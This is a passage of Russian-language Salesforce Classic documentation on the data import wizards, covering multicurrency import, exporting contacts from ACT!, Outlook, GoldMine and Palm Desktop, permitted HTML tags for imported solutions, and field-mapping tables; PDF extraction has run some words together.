• Универсальные обязательные поля: данные поля должны быть добавлены вфайлы импорта. В противном случае
импорт не выполняется.

СМ. ТАКЖЕ:

Мастер импорта данных

Выбор метода для импорта данных

Общие сведения об импорте

Импорт мультивалюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Мультивалютные организации могут импортировать стоимости в разных валютах.

Импорт моих организаций и контактов
При импорте личных записей все стоимости новых организаций и контактов
импортируютсявличнойвалюте. Еслиоперацияимпортаобновляетстоимоститекущих
записей, то стоимостифайла преобразуются из личной валюты в валюту организации
или контакта.

Например, ваша личная валюта — доллары США, а значение годового дохода вашего
файла импорта в существующей организации — «100» с параметром «Валюта
организации» в евро. Новое значение «Годовой доход» организации составляет EUR
92, учитывая курс обмена 0,92 и код валюты евро «EUR».

Импорт организации
Приимпортеорганизаций, контактов, настраиваемыхобъектов, интересовилирешенийвсехпользователейрекомендуем
использовать столбец файла импорта «Код ISO валюты» для определения типа валюты, используемой в полях
стоимости. Ниже перечислены применяемые правила.

• Ввод кодов валюты. Введите код валюты в столбец файла импорта «Код ISO валюты». Код валюты — это
трехбуквенное обозначение, соответствующее международному стандарту. Например, «USD» — это код долларов
США. Введите строку «Управление валютами» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Управление валютами», чтобы просмотреть список действительных кодов вашей организации.

• Использование одной валюты для организаций и контактов. При импорте организаций и контактов столбец
«Код ISO валюты» применяется к организациям и связанным контактам. Связанные организации и контакты не
могут использовать разные валюты.
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• Обновление кода валюты. Если код валюты обновляется без изменения стоимости организаций и контактов, то
стоимость не преобразуется в соответствующее значение новой валюты.

• Ввод неактивных валют. Неактивная валюта, введенная в файл импорта, заменяется личной валютой. При этом
стоимость не меняется. Например, если организация не поддерживает австралийские доллары, то стоимость «AUD
100» импортируется как «USD 100» при использовании долларов США в качестве личной валюты.

• Пропуск столбца «Код ISO валюты». Если столбец «Код ISO валюты» не используется или не соотнесен, то
новыезаписи, созданныепосредствомимпорта, используютличнуювалюту. Например, стоимость «100» импортируется
как «USD 100» при использовании долларов США (код валюты = USD) в качестве личной валюты.

Если столбец «Код ISO валюты» неиспользуетсяилине соотнесен, то текущие записи, обновленныепосредством
импорта, используют текущую валюту записи. Например, стоимость «100» импортируется как «EUR 100» для записи,
использующей евро (код валюты = EUR).

СМ. ТАКЖЕ:

Мастер импорта данных

Создание файлов экспорта для мастеров импорта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Прежде чем импортировать данные в систему Salesforce, рекомендуем создать файл
экспорта данных посредством текущего программного обеспечения.

Файл экспорта содержит все данные для импорта.

Файл экспорта может содержать новые и обновленные записи. Тип сопоставления
записей выбирается пользователем. Например, организации и контакты могут
сопоставляться по имени или адресу эл. почты. При сопоставлениипо адресу эл. почты
импортированнаязапись, содержащаятакойжеадрес эл. почты, инициируетобновление
контакта Salesforce. Тем не менее, записи, содержащие одинаковые имена, но разные
адреса эл. почты, будут сохранены по отдельности.

1. Чтобы создать файл экспорта данных, воспользуйтесь текущим программным обеспечением.

• Экспорт из приложения ACT!

• Экспорт из социальной сети LinkedIn®

• Экспорт из приложения Outlook

• Экспорт из приложения GoldMine 4.0

• Экспорт из приложения GoldMine 5.0

• Экспорт из приложения Palm Desktop

• Экспорт из других источников данных

• Экспорт из системы Salesforce

2. Убедитесь, чтоданные, предназначенныедляимпорта, являютсяболее актуальными, чемданные, доступныев системе
Salesforce. Данные Salesforce заменяются данными из файла импорта, даже если они являются устаревшими.

3. Сравните собственные поля данных с доступными полями Salesforce и убедитесь в соотнесении данных с
соответствующими полями Salesforce. См. раздел «Подготовка данных к импорту» на странице 749.

4. При наличии полномочий администратора и выполнении импорта для разных пользователей объедините данные
экспорта из разных источников в один CSV-файл посредством Excel.
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Прим.: Еслиимпортируемые записипринадлежат разнымпользователям, тофайл экспорта должен содержать
поле «Ответственный за запись» для всех новых записей; данное поле должно содержать полные имена
пользователей или личные имена и фамилии текущих активных пользователей. Ответственные за текущие
записи не подлежат изменению; новые записи назначаются пользователю, указанному в поле «Ответственный
за запись». Например, записи, которыедолжныпринадлежатьпользователюАлексейИванов, должнысодержать
его имя пользователя (aivanov@kompaniya.ru) или личное имя и фамилию (например, «Алексей Иванов» или
«ИвановАлексей» для азиатскихрегионов). Приимпортеинтересоврекомендуемуказатьимяочередиинтересов.

При импорте интересов рекомендуем определять ответственных за импортированные данные посредством
правила назначения интересов, вместо поля «Ответственный за запись».

Экспорт из приложения ACT!
Приложение ACT! позволяет экспортировать данные контактов в импортируемый текстовыйформат с разделителями.
Чтобы экспортировать данные контактов из приложения ACT! (4.0 или 2000), выполните указанные ниже действия.

1. Запустите приложение ACT! и откройте базу данных.

2. Выберите пункты «Файл» > «Обмен данными» > «Экспорт...».

3. Выберите тип файла «Текст с разделителями».

4. Выберите имя файла и папку для экспортированных данных и нажмите кнопку «Далее».

5. Выберите «Только записи контактов».

6. Нажмите кнопку «Параметры...».

7. Выберите разделитель «Запятая».

Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

8. Установите флажок «Да, экспортировать имена полей» и нажмите кнопку «OK».

9. Нажмите кнопку «Далее».

10. Выберите значение «Все записи» и нажмите кнопку «Далее».

11. Пропустите порядок экспорта полей и нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Стандартное соотнесение полей для приложения ACT!

Создание файлов экспорта для мастеров импорта

Экспорт из социальной сети LinkedIn®

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Система позволяет экспортировать данные контактов из социальной сети LinkedIn в
импортируемый текстовыйформат с разделителями.

• Откройте страницу www.linkedin.com/addressBookExport, выберите
параметр «Microsoft Outlook (CSV-файл)» и выполните указанные действия.
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Экспорт из приложения Outlook
Экспортируйте данные напрямую из Microsoft® Outlook® в формат CSV. Затем импортируйте данные в Salesforce.

1. В Outlook перейдите к функции экспорта.

2. Выберите формат «Значения, разделенные запятыми (Windows)» и нажмите кнопку «Далее».

Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

3. Выберите папку, содержащую контакты, которые требуется экспортировать, после чего щелкнитеДалее.

4. Выберите имя файла для экспортированных данных и нажмите кнопку «Далее».

5. Нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Стандартное соотнесение полей для приложения Outlook

Создание файлов экспорта для мастеров импорта

Экспорт из приложения GoldMine 4.0
Приложение GoldMine 4.0 позволяет экспортироватьданныеконтактоввимпортируемыйтекстовыйформат. Крометого,
примечания GoldMine 4.0 могут быть экспортированы в организации Professional Edition, Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

• Экспорт контактов из приложения GoldMine 4.0

• Экспорт примечаний из приложения GoldMine 4.0

Экспорт контактов из приложения GoldMine 4.0

Чтобы экспортировать данные контактов из приложения GoldMine 4.0, выполните указанные ниже действия.

1. Запустите приложение GoldMine 4.0.

2. Выберите пункт «Экспорт записей» в меню «Инструменты».

3. Выберите «Экспорт в новыйфайл» и «DBF-файл», а затем нажмите кнопку «Далее».

4. Выберите все поля в списке «Поля GoldMine» в левойчасти диалогового окна ищелкните «Добавитьполе». Нажмите
кнопку «Далее».

5. Выберите папку для файла экспорта и нажмите кнопку «Далее».

6. При отображении запроса на сохранение данных параметров выберите значение «Нет» и нажмите кнопку «Далее».

7. Нажмите кнопку «Готово».

8. По завершении найдите экспортированныйфайл и измените его расширение с .dbf на .csv. Теперьфайл может быть
импортирован в систему Salesforce.

Экспорт примечаний из приложения GoldMine 4.0

Преждечемимпортироватьпримечания GoldMine 4.0 в систему Salesforce, рекомендуемимпортировать контакты GoldMine
4.0.

Чтобы экспортировать примечания из приложения GoldMine 4.0, выполните указанные ниже действия.
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1. Запустите приложение GoldMine 4.0.

2. Выберите пункт «Экспорт записей» в меню «Инструменты».

3. Выберите «Экспорт в новыйфайл» и «ASCII-файл», а затем нажмите кнопку «Далее».

4. Выберите поля «компания», «фамилия» и «примечания» в списке «Поля GoldMine» в левой части диалогового окна
и щелкните «Добавить поле». Нажмите кнопку «Далее».

5. Выберите папку для файла экспорта и нажмите кнопку «Далее».

6. При отображении запроса на сохранение данных параметров выберите значение «Нет» и нажмите кнопку «Далее».

7. Нажмите кнопку «Готово».

8. По завершении найдите экспортированныйфайл и измените его расширение на .csv.

9. Откройте нужныйфайл.

10. Чтобы добавить столбец заголовка, щелкните первую строку правой кнопкой мыши и выберите пункт «Вставить».

11. Введите заголовок «Компания» в столбце А.

12. Введите заголовок «Фамилия» в столбце В.

13. Введите заголовок «Примечание» в столбце С.

14. Прежде чем импортировать файл, рекомендуем выполнить его очистку. Как правило, примечания, содержащие
кавычки, разбиваются между столбцами.

СМ. ТАКЖЕ:

Соотнесение полей для других источников данных и импорта организации

Создание файлов экспорта для мастеров импорта

Экспорт из приложения GoldMine 5.0
Приложение GoldMine 5.0 позволяет экспортироватьданныеконтактоввимпортируемыйтекстовыйформат. Крометого,
примечания GoldMine 5.0 могут быть экспортированы в организации Professional Edition, Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

• Экспорт контактов из приложения GoldMine 5.0

• Экспорт примечаний из приложения GoldMine 5.0

Экспорт контактов из приложения GoldMine 5.0

Чтобы экспортировать данные контактов из приложения GoldMine 5.0, выполните указанные ниже действия.

1. Запустите приложение GoldMine 5.0.

2. Выберите пункты «Инструменты» > «Мастер импорта/экспорта» > «Экспорт записей контактов».

3. Выберите «Экспорт в новыйфайл» и «ASCII-файл», а затем нажмите кнопку «Далее».

4. Выберите значение «ВСЕ записи контактов!» из раскрывающегося списка и нажмите кнопку «Далее».

5. Выберите нужные поля в списке «Поля GoldMine» в левой части диалогового окна и щелкните «Добавить поле».
Рекомендуем выбрать все поля, кромеполя «примечания». Дополнительнуюинформациюоб экспорте примечаний
см. в подразделе «Экспорт примечаний из приложения GoldMine 5.0» на странице 747.

6. Нажмите кнопку «Далее».
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7. Выберите папку для файла экспорта, установите флажок «Экспорт имен полей GoldMine...» и нажмите кнопку
«Далее».

8. При отображении запроса на сохранение данных параметров выберите значение «Нет» и нажмите кнопку «Далее».

9. Нажмите кнопку «Готово».

10. По завершении найдите экспортированныйфайл и измените его расширение с .txt на .csv. Теперь файл может быть
импортирован в систему Salesforce.

Экспорт примечаний из приложения GoldMine 5.0

Преждечемимпортироватьпримечания GoldMine 5.0 в систему Salesforce, рекомендуемимпортировать контакты GoldMine
5.0.

Чтобы экспортировать примечания из приложения GoldMine 5.0, выполните указанные ниже действия.

1. Запустите приложение GoldMine 5.0.

2. Выберите пункты «Инструменты» > «Мастер импорта/экспорта» > «Экспорт записей контактов».

3. Выберите «Экспорт в новыйфайл» и «ASCII-файл», а затем нажмите кнопку «Далее».

4. Выберите значение «ВСЕ записи контактов!» из раскрывающегося списка и нажмите кнопку «Далее».

5. Выберите поля «компания», «фамилия» и «примечания» в списке «Поля GoldMine» в левой части диалогового окна
и щелкните «Добавить поле». Нажмите кнопку «Далее».

6. Выберите папку для файла экспорта, установите флажок «Экспорт имен полей GoldMine...» и нажмите кнопку
«Далее».

7. При отображении запроса на сохранение данных параметров выберите значение «Нет» и нажмите кнопку «Далее».

8. Нажмите кнопку «Готово».

9. По завершении найдите экспортированныйфайл и измените его расширение с .txt на .csv.

10. Откройте нужныйфайл.

11. Прежде чем импортировать файл, рекомендуем выполнить его очистку. Как правило, примечания, содержащие
кавычки, разбиваются между столбцами.

СМ. ТАКЖЕ:

Соотнесение полей для других источников данных и импорта организации

Создание файлов экспорта для мастеров импорта

Экспорт из приложения Palm Desktop
Приложение Palm Desktop позволяет экспортировать контакты адресной книги в CSV-формате, поддерживающем
последующий импорт.

1. Откройтеадреснуюкнигувприложении Palm Desktop. Чтобыэкспортироватьтолькоопределенныеконтакты, выберите
соответствующие записи.

2. Выберите пункт «Экспорт» в меню «Файл».

3. Введите имяфайлаи выберите папку для его хранения в диалоговомокне «Экспорт вфайл». Выберите значение «CSV;
TXT (разделители—запятые)» в раскрывающемся списке «Экспортировать как». Выберите диапазон записей для
экспорта: «Все» или «Выбранные записи».

747

Создание файлов экспорта для мастеров импортаНастройка и обслуживание организации Salesforce



Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

4. Щелкните «Экспорт».

5. Выберите нужные поля адресной книги в диалоговом окне «Задать поля экспорта» и нажмите кнопку «OK».

СМ. ТАКЖЕ:

Соотнесение полей для других источников данных и импорта организации

Создание файлов экспорта для мастеров импорта

Экспорт из других источников данных
Данные могут быть импортированы в систему из любого приложения, позволяющего создавать CSV-файлы.

1. Сохраните источник данных как CSV-файл.

Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

2. Убедитесь, чтофайлсодержиттолькоодноимядлякаждогополя. Системанепозволяетобрабатыватьдополнительные
имена.

3. Убедитесь, чтофайлсодержитдваполядляименизаголовков. Системанепозволяетобрабатыватьполя, содержащие
имена и заголовки.

4. Убедитесь, что файл содержит только один номер телефона для каждого поля.

СМ. ТАКЖЕ:

Соотнесение полей для других источников данных и импорта организации

Создание файлов экспорта для мастеров импорта

Экспорт из системы Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce позволяет экспортировать отчеты по организациям, контактам,
настраиваемымобъектам, интересам или решениям для созданияфайла импорта. Поле
«Код организации», «Код контакта», «Код настраиваемого объекта», «Код интереса»
или «Код решения» должно быть заполнено для каждой соответствующей записи
отчета. Данные поля содержат уникальные идентификаторы Salesforce, используемые
для точного сопоставления данных с текущими записями Salesforce.

Чтобы создать файл импорта, содержащий данные поля, рекомендуем сначала
экспортировать данные из системы Salesforce.

1. Запустите отчет по организациям, контактам, настраиваемым объектам, интересам
илирешениямв системе Salesforce, добавьте соответствующееполе кодаивыполните
экспорт отчета в Excel.

2. Чтобы экспортировать интересы и контакты, необходимые для кампании, выполните указанные ниже действия.

a. Объедините экспортированные отчеты в один CSV-файл посредством приложения Excel. Убедитесь, что все
значения кодов находятся в одном столбце.

748

Создание файлов экспорта для мастеров импортаНастройка и обслуживание организации Salesforce



Прим.: Еслирегиональныенастройкинеподдерживаютиспользование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

b. Переименуйте столбец «Код интереса»/«Код контакта» в «Код записи».

c. Добавьте столбец «Статус» и введите статус участника кампании для каждого контакта или интереса.

СМ. ТАКЖЕ:

Создание файлов экспорта для мастеров импорта

Подготовка данных к импорту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Данные, экспортированные из системы Salesforce или текущего приложения, должны
быть подготовлены к импорту.

Прим.: Приналичииполейданных, которыенесоответствуютстандартнымполям,
администратор организации может создать настраиваемые поля.

Универсальные обязательные поля должны быть добавлены в файлы импорта. В
противном случае импорт не выполняется.

Подготовка контактов
При импорте данных из приложения ACT! или Outlook мастер «Импорт моих
контактов» автоматически соотносит поля ACT! или Outlook с полями Salesforce.

При импорте данных из других источников рекомендуем использовать приложение Excel® для присвоения меток
столбцам файла импорта (см. раздел «Соотнесение полей для других источников данных и импорта организации»
на странице 756).

Подготовка организаций-лиц
При импорте организаций-лиц рекомендуем использовать метки полей Salesforce в качестве меток столбцов файла
импорта.

Подготовка организаций-компаний и контактов организации
При импорте организаций-компаний и контактов рекомендуем использовать приложение Excel® для присвоения
метокстолбцамфайлаимпорта (см. раздел «Соотнесениеполейдлядругихисточниковданныхиимпортаорганизации»
на странице 756).

Подготовка интересов организации
При импорте общих интересов или интересов для кампаний рекомендуем использовать метки файла импорта (см.
раздел «Соотнесение полей для импорта интересов» на странице 761).

Подготовка настраиваемых объектов
При импорте настраиваемого объекта рекомендуем использовать метки полей Salesforce, доступные на странице
сведений о настраиваемом объекте, в качестве меток столбцов файла импорта.

Подготовка решений
При импорте решений рекомендуем использовать метки полей Salesforce в качестве меток столбцовфайла импорта.

Решения, которые должны быть импортированы в систему Salesforce, могут быть дополнены HTML-кодом. Однако,
если организация не поддерживает HTML-решения, то HTML-теги отображаются только после импорта решений.

Изсоображенийбезопасности, системаSalesforceавтоматическифильтруетвсе HTML-решениянаналичиепотенциально
опасного HTML-кода. Потенциально опасный HTML-код, обнаруженный в HTML-решении, автоматически удаляется
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илипреобразуется в текст. Обратите внимание, чтопотенциальноопасный HTML-код удаляется из HTML-решения без
уведомления пользователей.

HTML-решения могут быть импортированы в систему Salesforce. Из соображений безопасности, система Salesforce
поддерживает только перечисленные ниже HTML-теги. Содержимое HTML-тегов, отсутствующих в списке ниже,
автоматическиудаляетсяприсохранении HTML-решений. Кроме того, присохранении HTML-решенийавтоматически
удаляется содержимое всех тегов <script> и <iframe>, а также сценариев JavaScript. Обратите внимание, что
HTML-решения не поддерживают каскадные таблицы стилей (CSS).

Нижеперечислены HTML-теги, которыемогутиспользоватьсяв HTML-решениях, импортированныхвсистему Salesforce.

<q><dt><a>

<samp><em><abbr>

<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>

<table><h6><br>

<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>

<dl>

Ниже перечислены атрибуты, поддерживаемые указанными выше тегами.

sizefacealt

srcheightbackground

stylehrefborder

targetnameclass
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widthrowspancolspan

Ниже перечислены префиксы, которые могут использоваться в URL-адресах указанных выше атрибутов.

• http:

• https:

• file:

• ftp:

• mailto:

• #

• /  (для относительных ссылок)

СМ. ТАКЖЕ:

Стандартное соотнесение полей для приложения ACT!

Стандартное соотнесение полей для приложения Outlook

Создание файлов экспорта для мастеров импорта

Стандартное соотнесение полей для приложения ACT!

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Данная таблица определяет порядок соотнесения полей ACT! с полями импорта
организаций и контактов Salesforce во время индивидуального импорта данных.

Прим.: Если запись ACT! содержит несколько контактов для одной компании, то
мастер импорта создает несколько контактов для одной организации.

Поле импортаACT! Поле

Контакт: Почтовый адрес и

Организация: Адрес для счета

Адрес 1

Контакт: Почтовый адрес и

Организация: Адрес для счета

Адрес 2

Контакт: Почтовый адрес и

Организация: Адрес для счета

Адрес 3

Контакт: Другой тел.Доп. тел.

Контакт: Другой доб. тел.Доб. доп. тел.

Контакт: Имя ассистентаАссистент

Контакт: Тел. ассистентаТел. ассистента

Контакт: Доб. тел. ассистентаДоб. тел. ассистента
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Поле импортаACT! Поле

Контакт: Город в почтовом адресе и

Организация: Город для счета

Город

Организация: ИмяКомпания

Контакт: Полное имяКонтакт

Контакт: Страна в почтовом адресе и

Организация: Страна для счета

Страна

Контакт: ОтделОтдел

Контакт: Эл. почтаУчетные данные эл. почты

(Мастер импорта проверяет, является ли используемый
форматадресаэл. почтыдопустимым: aivanov@kompaniya.ru.)

Контакт: Факс и

Организация: Факс

Факс

Контакт: Доб. рабочий факсДоб. факс

Контакт: Личное имяЛичное имя

Контакт: Другой адрес 1Домашний адрес 1

Контакт: Другой адрес 2Домашний адрес 2

Контакт: Другой адрес 3Домашний адрес 3

Контакт: Другой городГород

Контакт: Другая странаСтрана

Контакт: Дом. тел.Дом. тел.

Контакт: Другая областьОбласть

Контакт: Другой почтовый индексИндекс

Организация: ТипКод/статус

Контакт: ФамилияФамилия

Контакт: Мобильный тел.Мобильный тел.

Не импортируетсяПримечание

Контакт: Тел. и

Организация: Тел.

Тел.

Контакт: Доб. рабочий тел.Доб. тел.
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Поле импортаACT! Поле

Контакт: Источник интересаИспользуется

Организация: Годовой доходДоход

Контакт: Область в почтовом адресе и

Организация: Область для счета

Область

Организация: Биржевой символБиржевой символ

Контакт: ДолжностьДолжность

Организация: Веб-сайтВеб-узел

Контакт: Почтовый индекс

Организация: Почтовый индекс для счета

Индекс

Второй контакт: ИмяВторой контакт

Второй контакт: Тел.Тел. второго контакта

Второй контакт: Доб. тел.Доб. тел. второго контакта

Второй контакт: ДолжностьДолжность второго контакта

Третий контакт: ИмяТретий контакт

Третий контакт: Тел.Тел. третьего контакта

Третий контакт: Доб. тел.Доб. тел. третьего контакта

Третий контакт: ДолжностьДолжность третьего контакта

Контакт: Примечание или организация: Примечание

(Версии Professional Edition, Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition позволяют выбрать

Последний контакт 2, Последний контакт 3, Должность
ассистента, Последняя попытка, Последняя конференция,
Последний контакт, Последние результаты, Дата письма,
Пейджер, Супруг(а), Пользователь 1-15 поля, которые должны быть импортированы в одно поле

контакта или организации «Примечание»; система не
поддерживает создание отдельного примечания для
каждого поля ACT!.)

СМ. ТАКЖЕ:

Экспорт из приложения ACT!

Подготовка данных к импорту
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Стандартное соотнесение полей для приложения Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Данная таблица определяет порядок соотнесения полей Outlook с полями импорта
организаций и контактов Salesforce во время индивидуального импорта данных.

Поле импортаПоле Outlook

Контакт: Имя ассистентаИмя ассистента

Контакт: Тел. ассистентаТел. ассистента

Контакт: Дата рожденияДата рождения

Контакт: Город в почтовом адресе и

Организация: Город для счета

Город

Контакт: Страна в почтовом адресе и

Организация: Страна для счета

Страна

Контакт: Факс и

Организация: Факс

Рабочий факс

Контакт: Тел.Рабочий тел.

Контакт: Почтовый индекс

Организация: Почтовый индекс для счета

Почтовый индекс

Контакт: Почтовый адрес и

Организация: Адрес для счета

Улица

Контакт: Почтовый адрес и

Организация: Адрес для счета

Улица 2

Контакт: Почтовый адрес и

Организация: Адрес для счета

Улица 3

Организация: Имя организации и

Контакт: Организация

Компания

Организация: Тел.Основной телефон компании

Контакт: ОтделОтдел

Контакт: Эл. почтаАдрес эл. почты

(Мастер импорта проверяет, является ли
используемыйформат адреса эл. почты
допустимым: aivanov@kompaniya.ru.)
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Поле импортаПоле Outlook

Контакт: Личное имяЛичное имя

Контакт: Другой городГород

Контакт: Другая странаСтрана

Контакт: Дом. тел.Дом. тел.

Контакт: Другой почтовый индексПочтовый индекс

Контакт: Другой адресУлица

Контакт: Другой адресУлица 2

Контакт: Другой адресУлица 3

Контакт: ДолжностьДолжность

Контакт: ФамилияФамилия

Контакт: Подчиненный

(Кроме того, если имя, указанное в данном поле, не
соответствует текущему контакту, то имя менеджера
используется для создания контакта.)

Имя менеджера

Контакт: Мобильный тел.Мобильный тел.

Контакт: ОписаниеПримечания

Контакт: Другой тел.Другой тел.

Контакт: Источник интересаИспользуется

Контакт: ПриветствиеДолжность

Организация: Веб-сайтВеб-страница

Контакт: Примечание или организация: Примечание

(Версии Professional Edition, Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition позволяют выбрать

Организация, Годовщина, Сведения для выставления счета,
Рабочий тел. 2, Обратный вызов, Автомобильный тел.,
Категории, Дети, сервер каталогов, Адрес эл. почты 2,
Адрес эл. почты 3, Государственный поля, которые должны быть импортированы в одно поле
идентификационный номер, Увлечения, Домашний факс, контакта или организации «Примечание»; система не
Дом. тел. 2, Доступность в Интернете, ISDN,
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Поле импортаПоле Outlook

ключевые слова, Язык, Расположение, Отчество, Расстояние,
Расположение офиса, Организационный

поддерживает создание отдельного примечания для
каждого поля Outlook.)

идентификационный номер, Другой город, Другая страна,
Другой факс, Другой почтовый индекс, Другая область,
Другая улица, Другая улица 2, Другая улица 3, Пейджер,
Абонентский ящик, Основной телефон, Профессия,
Радиотелефон, Супруг(а), Индекс, Телекс,
Телетайп/телефон с титрами, Пользователь 1,
Пользователь 2, Пользователь 3, Пользователь 4

СМ. ТАКЖЕ:

Экспорт из приложения Outlook

Подготовка данных к импорту

Соотнесение полей для других источников данных и импорта организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Импорт организации
недоступен в версиях:
Personal Edition,
Database.com Edition.

При корпоративном импорте организаций и контактов или индивидуальном импорте
данных из других источников, кроме приложения Outlook или ACT!, мастеры импорта
соотносят поля максимально точно. Прежде чем завершить импорт, рекомендуем
уточнить соотнесениявручную. Преждечемимпортироватьданные, компания Salesforce
рекомендует использовать Excel для присвоения перечисленных ниже меток столбцам
файла импорта.

Прим.: Стандартные соотнесения ниже могут служить ориентиром при
выполнении импорта, но не гарантируют 100% точности соотнесения данных.
Рекомендуемуточнитьсоотнесениявручнуюпосредствоммастеровимпорта.
Помните, чтооднополеможетбытьсоотнесенонесколькораз (например, адресные
поля контактов и организаций).

Общие поля контактов и организаций

Поле SalesforceМетка для файла импорта

Контакт: Ответственный за контакт и

Организация: Ответственный за
организацию

Ответственный за запись

(Примечание. Данное поле может быть
пропущеноприиндивидуальномимпорте,
так как все импортируемые данные
автоматически принадлежат текущему
пользователю. При импорте записей по
коду записи Salesforce данное поле
пропускается.)

Контакт: Валюта контакта и

Организация: Валюта организации

Код ISO валюты

(Примечание. Данное поле может
использоваться только для
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Общие поля контактов и организаций

Поле SalesforceМетка для файла импорта

мультивалютных организаций. Дополнительную
информацию см. в разделе «Импорт мультивалюты» на
странице 742.)

Поля контактов

Поле SalesforceМетка для файла импорта

Контакт: АссистентАссистент

Контакт: Тел. ассистентаТел. ассистента

Значение данногополяиспользуется после значенияполя
контакта: Тел. ассистента

Доб. тел. ассистента

Контакт: Дата рожденияДата рождения

Контакт: ФаксРабочий факс

Значение данногополяиспользуется после значенияполя
контакта: Факс

Доб. рабочий факс

Контакт: Тел.Рабочий тел.

Значение данногополяиспользуется после значенияполя
контакта: Тел.

Доб. рабочий тел.

Контакт: ОписаниеОписание контакта

Контакт: Личное имя и

Контакт: Фамилия

Полное имя контакта или

Личное имя и Фамилия

(Примечание. При импорте имен контактов следует
использовать поле «Полное имя контакта» или поля
«Личное имя» и «Фамилия», но не все поля
одновременно.)

Контакт: Код контактаКод контакта

(Примечание. Коды записей чувствительны к регистру и
не могут быть изменены.)

Создание примечания к контакту.Примечание к контакту

Контакт: ОтделОтдел

Контакт: Эл. почтаАдрес эл. почты

757

Подготовка данных к импортуНастройка и обслуживание организации Salesforce



Поля контактов

Поле SalesforceМетка для файла импорта

(Примечание. Мастер импорта проверяет, является ли
используемыйформат адреса эл. почты допустимым:
aivanov@kompaniya.ru.)

Контакт: Без рассылки по эл. почтеБез рассылки по эл. почте

(Примечание. Чтобыразрешитьрассылки, введитезначение
«0». В противном случае, введите значение «1».)

Контакт: Дом. тел.Дом. тел.

Значение данногополяиспользуется после значенияполя
контакта: Дом. тел.

Доб. домашний тел.

Контакт: Источник интересаИсточник интереса

Контакт: Город в почтовом адресеГород в почтовом адресе

Контакт: Страна в почтовом адресеСтрана в почтовом адресе

Контакт: Индекс в почтовом адресеПочтовый индекс

Контакт: Область/штат в почтовом адресеОбласть в почтовом адресе

Контакт: Почтовый адресУлица в почтовом адресе 1

Контакт: Почтовый адресУлица в почтовом адресе 2

Контакт: Почтовый адресУлица в почтовом адресе 3

Контакт: МобильныйМобильный тел.

Значение данногополяиспользуется после значенияполя
контакта: Мобильный

Доб. мобильный тел.

Контакт: Другой городДругой город

Контакт: Другая странаДругая страна

Контакт: Другой тел.Другой тел.

Значение данногополяиспользуется после значенияполя
контакта: Другой тел.

Другой доб. тел.

Контакт: Другой почтовый индексДругой почтовый индекс

Контакт: Другие область/штатДругая область

Контакт: Другой адресДругая улица 1

Контакт: Другой адресДругая улица 2

Контакт: Другой адресДругая улица 3
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Поля контактов

Поле SalesforceМетка для файла импорта

Контакт: ПодчиненныйПодчиненный

(Примечание. В случае отсутствия контакта, имя которого
соответствует имени, указанному в данном поле, мастер
импорта создает контакт, используя данное значение в
следующихполяхконтакта: «Личное имя» и «Фамилия».)

Значениеданногополяиспользуетсяпередзначениемполя
контакта: Личное имя

Приветствие

Контакт: ДолжностьДолжность

Значение данного поля разделяется на следующие поля
контакта: «Личное имя» и «Фамилия» для второго
контакта организации

Второй контакт

Контакт: «Тел.» для второго контакта организацииТел. второго контакта

Значение данногополяиспользуется после значенияполя
контакта: «Тел.» для второго контакта организации

Доб. тел. второго контакта

Контакт: «Должность» для второго контакта организацииДолжность второго контакта

Значение данного поля разделяется на следующие поля
контакта: «Личное имя» и «Фамилия» для третьего
контакта организации

Третий контакт

Контакт: «Тел.» для третьего контакта организацииТел. третьего контакта

Значение данногополяиспользуется после значенияполя
контакта: «Тел.» для третьего контакта организации

Доб. тел. третьего контакта

Контакт: «Должность» для третьего контактаорганизацииДолжность третьего контакта

Поля организаций

Поле SalesforceМетка для файла импорта

Организация: ОписаниеОписание организации

Организация: Подразделение организацииПодразделение организации

(Примечание. Данное поле может быть пропущено при
назначенииподразделенияпосредствомраскрывающегося
списка в действии 1 мастера импорта. Если данное поле не
соотносится или используется раскрывающийся список
подразделений, то каждой записиназначается стандартное
подразделение ответственного за запись.)

Организация: ФаксФакс организации
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Поля организаций

Поле SalesforceМетка для файла импорта

Значение данногополяиспользуется после значенияполя
организации: Факс

Доб. факс организации

Организация: Код организацииКод организации

(Примечание. Коды записей чувствительны к регистру и
не могут быть изменены.)

Организация: Имя организации и

Контакт: Организация

Имя организации

Создание примечания к организации.Примечание к организации

Организация: Номер организацииНомер организации

Организация: Тел.Тел. организации

Значение данногополяиспользуется после значенияполя
организации: Тел.

Доб. тел. организации

Организация: Местоположение организацииМестоположение организации

Организация: ТипТип организации

Организация: Город для счетаГород для счета

Организация: Страна для счетаСтрана для счета

